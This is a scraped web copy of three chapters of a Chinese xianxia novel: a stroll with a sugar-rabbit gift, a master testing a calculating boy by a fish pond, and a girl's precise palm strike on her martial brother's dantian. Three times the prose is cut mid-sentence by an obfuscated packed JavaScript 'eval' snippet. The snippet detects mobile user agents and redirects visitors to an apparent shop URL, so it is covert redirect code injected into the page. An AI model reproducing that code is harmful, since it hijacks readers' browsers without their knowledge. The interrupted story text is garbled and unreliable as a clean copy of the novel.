两人又走了一小段路,前方不远处有一棵老榕树,树冠遮出了一大片荫凉。 树荫下有几个孩子在追逐玩耍,一个卖糖人的小贩坐在树根上,面前的草靶上插着几支做好的糖人——有兔子,有蝴蝶,有一条昂着头的小蛇。 持盈经过时放慢了脚步,目光在那几支糖人上扫了一眼,但并没有停下来。黎素真却在她身后停了一下,弯腰跟那小贩说了句什么。 等他再跟上来时,手里已经多了一支糖人。他走到持盈身侧,将那只糖人递到她面前。 “拿着。” 持盈低头一看,是一只兔子。 长长的耳朵,圆滚滚的身子,尾巴翘得高高的,看起来憨态可掬。她看了片刻,又抬头看了看黎素真。 他没有看她,目光望着前方,语气随意的像是在说一件极小的事:“路过顺手买的,你拿着玩罢。” 持盈低头看着那只糖兔子,没有推辞,伸手接了过来。 她将糖兔子举到眼前转了半圈,端详了片刻,轻轻咬了一口兔子耳朵。 嚼了几下咽下去,评价了一句:“甜的。” 黎素真没有说话,但他目视前方的嘴角极轻微地弯了一下。 两人继续往前走,走出了最热闹的那段街面,拐进一条人少一些的横街。 街两旁种着槐树,正是开花的季节,一串串白色的槐花垂在枝头,在风里轻轻摇晃,空气中浮动着一种清甜的香气。 持盈走在那条槐花覆顶的小街上,手里拿着半只糖兔子,咬了一口兔子尾巴,忽然放慢了脚步,侧过头看着黎素真:“师兄,你是特意买的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534390|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她说完便继续往前走了,步伐不紧不慢的,留下黎素真站在原地,手里拎着大包小包,被她说得噎了一下。 他看着她的背影走出两三步远,才抬步跟上去,走到她身侧时,憋了一会儿才说了一句:“你注意到了还问。” “嗯。”持盈又咬了一口糖兔子,“想知道清楚一些。” 黎素真走在旁边,沉默了好一会儿,忽然轻轻叹了口气,带着一点无奈和好笑,声音低低的:“持盈,你有时候说话真的让人没法接。” 持盈偏过头看了他一眼:“那师兄可以不接。” 黎素真被她这句话又噎了一下,摇了摇头,没有再说什么。 前方有一座小石桥,桥下是一条浅浅的溪流,水面上浮着几朵零星的槐花,顺着水流缓缓漂向下游。 持盈走到桥上停下来,趴在石栏上往下看了一会儿水面。日光透过槐花的缝隙落在水面上,碎成一片一片闪闪烁烁的光斑,随着水流轻轻晃动。 黎素真也在她身旁停下来,将手里拎着的东西放在桥栏边的石墩上,活动了一下被勒红的手指。他没有催她,只是站在她身旁,安静地等着。 持盈看了一会儿水面,忽然开口:“师兄,你觉不觉得这水很像我。” 黎素真侧过头看她:“哪里像。” “一直在往下流,也不知道要流到哪里去。流到哪里算哪里。”她的目光仍然落在水面上,语气平平的。 黎素真没有立刻回答。 他也学着她的样子趴在石栏上,望着桥下的流水,沉默了片刻才开口:“水往低处流,是因为它没有别的选择,但你有。” 持盈偏过头来看着他,等他说下去。 黎素真没有看她,目光仍然落在水面上,语气很平:“你不想流到哪里去的时候,可以停下来。不想流了,可以上岸。水做不到的事,人可以做得到。” 他说完这句话,便没有再多说了。 持盈趴在石栏上望着那片流水,安静了很久。只是将手里糖兔子塞进嘴里,嚼了口,站直了身子:“走吧。” 黎素真便拎起石墩上的那些纸包纸袋,跟在她身侧,两人一同走过了那座小石桥。 桥的另一头是一条窄一些的巷子,巷口有一棵高大的槐树,树荫几乎将整条巷子都罩住了。 只有几缕日光从叶子的缝隙中漏下来,在青石板路面上落下一地碎金。 两人并肩走在槐花的香气里,日光正好,风也轻柔。 持盈走了一会儿,忽然侧过头来看着黎素真,目光在他脸上停了一瞬,语气平平地说了一句:“师兄,你方才说的那番话。是临时想出来的,还是早就准备好的?” 黎素真被她问得脚步微微一顿,他沉默了片刻,如实答道:“临时想的。但说完之后觉得,好像在心里已经想过很多遍了。” 他说完这句话,自己先怔了一下。 像是忽然意识到自己说了什么不该说的话,他的目光微微闪了一下,但话已出口,收不回来了。 持盈走在他身侧,沉默了几步路的距离,轻轻地“嗯”了一声,没有追问那“很多遍”是从什么时候开始的。 两人就这样沉默地走过了那条槐花覆顶的长巷,日光从叶隙中漏下来,在他们的肩头落下一明一灭的光影,脚步声在青石板路面上轻轻地响着。 走出了巷口,持盈才开口说了一句:“师兄,回去之后,你把那罐酸橘露泡了,我们一起喝。” 黎素真偏过头来看她。她的目光望着前方,表情一如既往的平淡。他顿了顿,应了一声:“好。” 两人便继续往前走了,日光正好,风也轻柔。 22. 慕仙 李慕仙走进水榭时,左婴正站在栏杆边,手里捏着一小撮鱼食,有一搭没一搭地往水里丢。 日暮的光从西边斜斜地照过来,落在他衣上,像铺了一层暖融融的金粉。长发垂落在肩背上,被风轻轻拂动,他也不去拢。 李慕仙在门口顿了一下,调整呼吸,整理表情。把自己从“一个在客房里闷了一下午的十岁孩童”调整成“一个值得被带走的少年”。 他走上前去,在左婴身后三步处站定,拱手行礼:“见过左真人。” 左婴没有回头,又往水里丢了几粒鱼食。 水面泛起一圈圈涟漪,锦鲤们闻声聚拢过来,红的白的金黄的挤作一团,尾巴甩动时带起细碎的水花,在斜阳中闪着碎金般的光。 “你来看。”左婴说。 李慕仙走上前,在左婴身侧站定,顺着他的目光往水里看。 他看得很认真,认真到他自己都觉得有些过分认真了。但他不知道左婴想要什么,所以他决定先做出一个“认真”的样子。 左婴将掌心里剩下的鱼食递到他面前:“你来。” 李慕仙接过那几粒鱼食,学着左婴的样子往水里丢了一粒。锦鲤们哄然聚拢,水面翻起一阵水花。他又丢了一粒,水花更大了。 他丢第三粒的时候,动作比方才自然了一些,因为他在做这件事的时候,竟然有了一瞬间忘了去想左婴在看什么,只是觉得那些鱼抢食的样子有趣。 但他很快又警觉起来,他是不是看得太入神了?左婴会不会觉得他心性不够沉稳? 他收起心思,端端正正地站好。 左婴却始终没有说话,只是靠在栏杆上安静地看着那群争食的鱼。 李慕仙站在那里,手心里还握着最后两粒鱼食,不知道该不该继续丢下去。 他等了片刻,终于忍不住开口:“左真人——” “你急什么。”左婴的声音不紧不慢的,目光仍然落在水面上,“鱼还没吃完,你手里不是还有么。” 李慕仙便闭上了嘴。 他将那两粒鱼食也撒了下去,锦鲤们又掀起一阵争抢,水面翻腾了好一会儿才渐渐平静下来。 鱼食吃完了,有几条锦鲤仍在原地徘徊,仰着头等待更多的食物落下来。 左婴看着那群徘徊的鱼,安安静静地看了一会儿。 他不说话,李慕仙便也不说话。 两个人就这样站在水榭中,看着水面上一圈一圈扩大的涟漪慢慢散尽。那几条徘徊的锦鲤终于渐渐散开,各自游向深水处。 李慕仙的脊背挺得笔直,双手规规矩矩地垂在身侧。他的目光落在水面上,余光却一直攀在左婴身上。 他在等左婴开口。 但左婴就是不开口。 这种沉默让李慕仙感到一种说不清的压迫。 他习惯了通过察言观色来调整自己的言行,但此刻他什么也看不出来。 左婴没有皱眉,没有微笑,没有点头,没有摇头。 他什么都看不出来。 他准备了话,如果左婴问他的家世,他该怎么答才显得“既有出身又不骄矜”;如果左婴问他想修道的原因,他该怎么答才显得“既有志向又不刻意”。 但左婴什么都没有问。 风从那人的方向吹过来,带着他身上清淡的草木气息。李慕仙闻到那股气息,忽然觉得自己的呼吸不自觉地放慢了一些。 又过了好一会儿,左婴终于开口了。 “你方才来的时候,从哪条路走的。” 李慕仙愣了一下。 这不是他预想中的任何一个问题。但他答得很快:“从内院出来的,穿过月洞门,沿着荷花池边的回廊走过来的。” “荷花池边的回廊,有几根柱子。” 李慕仙张了张嘴,又闭上了。 他回想了一下那条回廊,他走过许多趟,闭着眼睛都知道哪里转弯,哪里有一块地砖略高一些,哪里旁生的青苔最多—— 但他不知道它有几根柱子。 他从来没有数过。 他沉默了片刻,如实答道:“我……没有数过。” “嗯。”左婴没有说好也没有说不好。 他又问:“那从月洞门到水榭,一共走了多少步。” 李慕仙又沉默了。 他只花了心思去调整步伐的姿态,怎会去做数步数这种事情。 左婴见他不答,也不追问。他从袖中取出一块帕子来擦了擦手,不紧不慢地叠好放回袖中,又重新靠回栏杆上,望着远处的天际。 暮色正在一分一分地加深,天边的云从橘红渐渐过渡成紫色。 李慕仙站在他身侧,沉默了好一会儿,终于开口问了一句:“左真人问这些,是想考校我什么吗?” 左婴偏过头来看了他一眼。 那一眼不冷不热,没有肯定也没有否定,平静得像在看一朵云。 “你觉得我在考你。” 李慕仙被他这句话堵了一下。 他确实是这样想的。 从左婴问他回廊有几根柱子开始,他便在心里飞速运转着,试图分析每一个问题背后的意图。 左婴是不是在测他的观察力?是不是在测他的记性?是不是在设一个局,等他答错了便说“你连这都记不住,还想修道”? 他以为左婴在设局。 但他现在忽然不确定了。 因为左婴看起来完全不关心他答不答得上来。 这个人站在那里,像一株安静的老树,风吹过来他就动一动,风停了他就静着。没有算计,没有试探,甚至没有期待。 这种感觉让李慕仙非常不适,比他答不上来还要不适。 他准备好的那些话,那些精心打磨过的表情和姿态,全都悬在半空中,落不到实处。 他沉默了一会儿,决定换一种方式。 “左真人,”他开口,声音比方才低了一些,“我是不是说错什么了。” “没有。”左婴的回答很干脆。 “那我是不是做错什么了。” “也没有。” “那左真人为什么——问那些问题?” 左婴没有立刻回答。 他站直了身子,离开栏杆,转过身来面对着李慕仙。 暮色中他的面容看不大分明,但他的声音比方才清晰了一些,像是一颗石子终于落到了实处。 “我方才问你那些问题,不是为了考你。” “只是想看看,你会怎么应对一个你答不上来的问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536520|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李慕仙怔住了。 “你从进门到现在,每一句话、每一个动作都在试我。” 左婴的语气没有任何指责的意味,“试我想要什么,试我吃哪一套,试我喜不喜欢聪明的小孩。” “我说得对么?” 李慕仙站在原地,像是被人从背后轻轻推了一下。 他失了重心,一时间不知道该往哪个方向站。 他张了张嘴想否认,这是他习惯性的第一反应,他太擅长否认了,否认自己的意图,否认自己的渴望,否认自己在乎。 但他对上了左婴的目光。 那双眼睛在暮色中看不分明,但李慕仙忽然觉得,那双眼睛什么都看得分明。 他没有否认。 也没有承认。 他只是站在那里,不说话。 沉默本身就是一种回答。 左婴看了他一眼,没有再追问。 他转过身往水榭外走去,走出两步又停下来,侧过头来:“你回去收拾东西罢,后日动身。” 李慕仙没有反应过来,他站在原地愣了好一会儿,才开口:“真人——?” “你不是要入玄极观么,那便来小住一段时日。”左婴的语气平淡得像是在说今日天气不错,“先前说的那些话可还算数?” “算数!自然算数!” 李慕仙的声音一下子拔高了。 他立刻意识到了,立刻压了回去,重新端好了那副从容的姿态,拱手行了一礼,声音也比方才沉稳了许多,“谢真人。” 左婴看了他一眼,没有再多说,只道:“那便去收拾罢。”他说完便转身往水榭外走去。 他穿过庭院,沿着来路不紧不慢地走着。 走到月洞门前时,他脚步微微顿了一下,但没有回头,继续往前走,走出了月洞门,沿着荷花池边的回廊一路走回客房所在的院落。 经过持盈的房门前时,他看见窗子里透出一线昏黄的灯光,听见里面传来翻书页的声音,他没有停步。 走进自己房中,他关上门在黑暗中站了一小会儿,才走到桌边点亮了油灯。 昏黄的光漫开来,他低头看着自己映在墙上的影子沉默了片刻。 拿起桌上的茶壶倒了一杯凉茶,端起来喝了一口,放下茶盏摇了摇头,自言自语般轻声说了一句:“也是个麻烦的。” 而水榭那边,李慕仙仍然站在原地。 他看着左婴的背影直到那道背影完全看不见了,才缓缓低下头来看着自己的手掌,握紧又松开。 李慕仙在水榭中站了很久久到暮色完全沉下来了,久到荷花池边的灯笼被一一点亮。 池面上的倒影随着水波轻轻晃动,将那点暖光揉成碎金又聚拢起来。 他终于转过身来往内院走去。 “李慕仙——”他一边走一边在心里默念自己的名字。 他在心里将这两个字念了一遍又一遍,忽然在回廊中间停了下来,站在一盏刚点亮的灯笼下面,低下头,极轻极轻地说了一句只有他自己听得见的话—— “我不会让你失望的。” 他说完便抬起头来继续往前走,步伐坚定而迅速,像是一只终于认准了方向的幼兽,义无反顾地朝夜色深处走去。 23. 三丹田 翌日午后,日光从庭院西边的老槐树缝隙间漏下来,在地上落了一地碎金。 李府客院的院落不大,青砖铺地,墙角生了几丛细竹,风过时沙沙作响。 左婴搬了一把竹椅坐在廊下,手里捧着一盏茶,也不知道是第几泡了,茶色淡得近乎透明。 他也不在意,隔一会儿端起来抿一口,目光散漫地落在庭院里。 持盈和黎素真站在院子中央,隔着三步的距离。 原本是黎素真说要趁明日动身前,看看师妹这几月的进境。持盈没有推辞,便随他来了院中。 可站定之后,她却没有摆起手式,只是安静地站在那里,像是在想什么事情。 黎素真等了一会儿,不见她动,便唤了一声:“师妹?” 持盈抬起头来,看了他一眼。 那一眼与平日有些不同,有些认真,她看了黎素真一会儿,忽然开口:“师兄,我想试一件事。” “什么事?” “我打你一掌。” 黎素真愣了一下。 他倒不是怕挨打,只是这话从师妹嘴里说出来,让他下意识想问她为什么要试,但话到嘴边又咽了回去,改口道:“好。” 他运动炁沉入丹田,在周身走了一个小周天。 归元诀二重的炁在体内流转不息,虽未刻意运功护体,但以他如今的修为,寻常拳脚打在身上,也不过是挠痒一般。 “来吧。”他说。 持盈走上前去。 她没有运气的动作,只是走到黎素真面前,抬起右手,掌心朝前,轻描淡写地朝他胸口推了一掌。 那一掌很轻。 轻到站在三步之外的左婴只看了一眼,便觉得这一掌连蚊子都拍不死。 黎素真也是这样想的。 他甚至有些困惑,师妹说要试一件事,他以为会是什么新奇的手法,结果只是这样轻飘飘的一推?他正准备开口问她在试什么,话还没出口—— 掌缘轻轻贴上了他胸前的膻中穴。 力道极轻,像有人伸手在他衣襟上拂了一下灰。 接着他便感觉到的中丹田晃了一下。 像有人伸手进他体内,握住了他气机流转的路线,轻轻地摇了一摇。 炁在这一瞬间失去了方向。 他体内原本运行得井然有序的炁,被拨乱了琴弦,在体内横冲直撞。 黎素真只感觉那处传来一阵剧烈的闷胀感,心脏猛地一缩,像是被人攥了一把。紧接着又狂跳起来,咚咚咚地撞着胸腔,快得让他喘不上气。 他的脸色在一息之间变得煞白。 双腿一软。 他甚至来不及做出任何反应,整个人便直直地往前一跪。 但在他膝盖将要落地的那一刻,一双手伸过来,稳稳地扶住了他。 持盈欺身上前半步,在他倒下的同时便已伸出手去。 黎素真便没有跪实,只身子在半空中顿了一下,被那股来自师妹的力道稳稳地架住了。 他整个人几乎挂在持盈手臂上,大口大口地喘着气。汗水从额角滑落,滴在青砖地面上,洇开一小片深色的湿痕。 黎素真意识是清醒的,他知道自己在哪,知道刚才发生了什么,但身体完全不听使唤。四肢软得像被人抽了骨头,胸腔里的气机还在乱窜,心脏时快时慢地跳着,让他一阵阵地发晕。 他挂在持盈的手臂上,缓了好一会儿,才勉强稳住呼吸。 “师妹……” 他的声音沙哑,带着一种说不清道不明的复杂意味。 持盈没有应声,只是稳稳地架着他,等他自己缓过来。 黎素真又喘了几口气,才慢慢抬起头来。他的脸色还白着,额角一层薄汗,但目光已经清明了。 他看着持盈近在咫尺的脸,忽然苦笑了一下。 “你这一掌……是什么名堂?” 持盈想了想,“没有名堂。” 黎素真看着她,等她往下说。 “我只是在想,有些武功招式都是朝着穴位攻,可我们是修士。”持盈缓缓道,“人有三丹田,上丹田藏神,中丹田藏气,下丹田藏精。神、气、清,修士根本,那如果直接震一下丹田——” 她没有说完,但意思已经很明显了,黎素真沉默了好一会儿。 他慢慢站直了身子,持盈确认他站稳了,便收回了手,退后半步,恢复了平日里的距离。 黎素真低头看了看自己胸口的膻中穴位置,又抬头看了看持盈,想说些什么。但话到嘴边,他一样都说不出来,只是苦笑了一下。 他真心实意为师妹高兴进步得这么快,但也有一丝他说不出口的苦涩,被一个晚入门不好几年的师妹一掌拍得站都站不住,这种感觉终究是不太好受的。 他不想让这丝苦涩露出来,便用力抿了一下嘴唇,把那点情绪压下去,努力扯出一个笑容来。 “好。”他说,声音比方才稳了一些,“好。” 他连着说了两个“好”,第一个是惊讶,第二个是真心实意的。 “师妹这一掌……很厉害。” 持盈没有说话。 “你打我一掌,我连站都站不住。”他顿了一下,声音低了几分,“你这个一重,跟别人的一重好像不太一样。” 持盈看了他一眼,轻轻说了两个字:“师兄——” “我知道,我知道。”黎素真打断了她,摆了摆手,扯出一个笑容来,“我不是那个意思。我是说——你这一掌真好。” 他顿了一下,低下头,声音轻了几分:“真好。” 廊下传来一声轻响。 是茶盏被搁在木几上的声音。 左婴不知何时已经坐直了一些,目光落在庭院中,面上没有什么表情,只是安安静静地看着持盈。 他没有说什么,以他的修为,方才那一掌的所有细节全都被他收在了眼里。 他看得很清楚,这孩子方才出掌之前,是犹豫了一下的。 她怕是在心里飞快地计算了一遍。 三丹田对应精气神,中丹田是气机枢纽,如果将力道控制在一个极轻的程度,不伤根本,只扰气机能不能做到? 她试了,然后她做成了。 左婴靠在椅背上,轻轻地吐出一口气。那口气吐得又长又轻,像是什么东西在他心里落了地。 他没有出声叫她,也没有夸她,只是那样安安静静地看了她一会儿,微微垂下眼帘,嘴角浮起一丝极淡的笑意。 笑意里有欣慰,有一丝惊讶尚未散尽的余韵,还有一点他果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538643|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有看错人的得意。 庭院的另一头,黎素真站了一会儿,揉了揉胸口,那儿还残留着一丝隐隐的闷胀感,让他忍不住咳了两声。 “师妹,”他开口,声音比方才稳了一些,“你这一掌的力道,是怎么控得那么准的?” 持盈想了想,如实答道:“不知道。” 黎素真看着她,等她继续。 “我就是觉得——”持盈低头看了看自己的手掌,“如果用力太重,会伤到你。如果太轻,又震不到中丹田。所以——选了一个刚刚好的力道。” 黎素真沉默了好一会儿。 “刚刚好的力道。”他重复了一遍这句话,语气里满是复杂的感慨,“你才练了多久,就已经知道‘刚刚好的力道’是多少了。” 他这般说着,心里那丝涩意又浮上来一些,但他很快便将它按下去了。 走上前一步,伸手想拍拍持盈的肩,手伸到一半,想到师妹是姑娘家,便又缩了回来,改成了抱拳。 “多谢师妹指点。” 他这话说得真心实意。 持盈看着他,轻轻“嗯”了一声,没有多说什么。 黎素真放下手,走到一旁的石阶上坐了下来,低着头,看着自己的双手。 他沉默了一会儿,忽然开口说了一句:“师妹,你以后会走得比我远很多。” 没有等持盈回答,站起身来拍了拍衣摆上的灰尘,往厨房的方向走去,口中念叨着:“方才那一掌耗了不少力吧……我去给你煮碗面。” 他走得很快,像是怕自己再多说一句,就会把心里那点说不出口的苦涩也给一并倒出来。 持盈站在庭院中,看着师兄的背影急匆匆地消失在廊下转角处。 她低下头看着自己方才出掌的那只手,安安静静地站了一会儿,转过身往廊下走去。 左婴坐在竹椅上,端着那盏凉透的茶,目光落在她身上,从她走到廊下到她在门槛边站定,一直没有移开。 持盈走到他面前,停了下来。 “师父。” “嗯。” “我方才那一掌——” “你自己想出来的。” 持盈沉默了一瞬,点了点头。 左婴没有多问,只是端起茶盏又抿了一口,放下,淡淡地说了一句:“以后少用来打你师兄。” 持盈微微愣了一下,嘴角浅弯了一下。 “是。” 她应了一声,转身往屋内走去。 左婴坐在廊下,看着她的背影消失在门帘后面,轻轻笑了一声。 轻得像风过竹梢,一瞬便散了。 远处厨房里传来黎素真煮水的声音,锅碗瓢盆叮当作响,还夹杂着他自言自语的声音:“面呢……我记得昨日还剩了半把……” 庭院中,几只麻雀落在墙头,叽叽喳喳地叫了几声,又扑棱着翅膀飞走了。 左婴站起身来,负着手往厨房的方向走去。 走到一半,他停了一下,偏过头,看了一眼持盈方才站过的那块青砖地面。 那儿有一道极淡的印子,几乎看不出来,是她方才出掌时脚下微微发力留下的。 左婴收回目光,继续往厨房走去,口中轻声念了一句。 “真快啊。”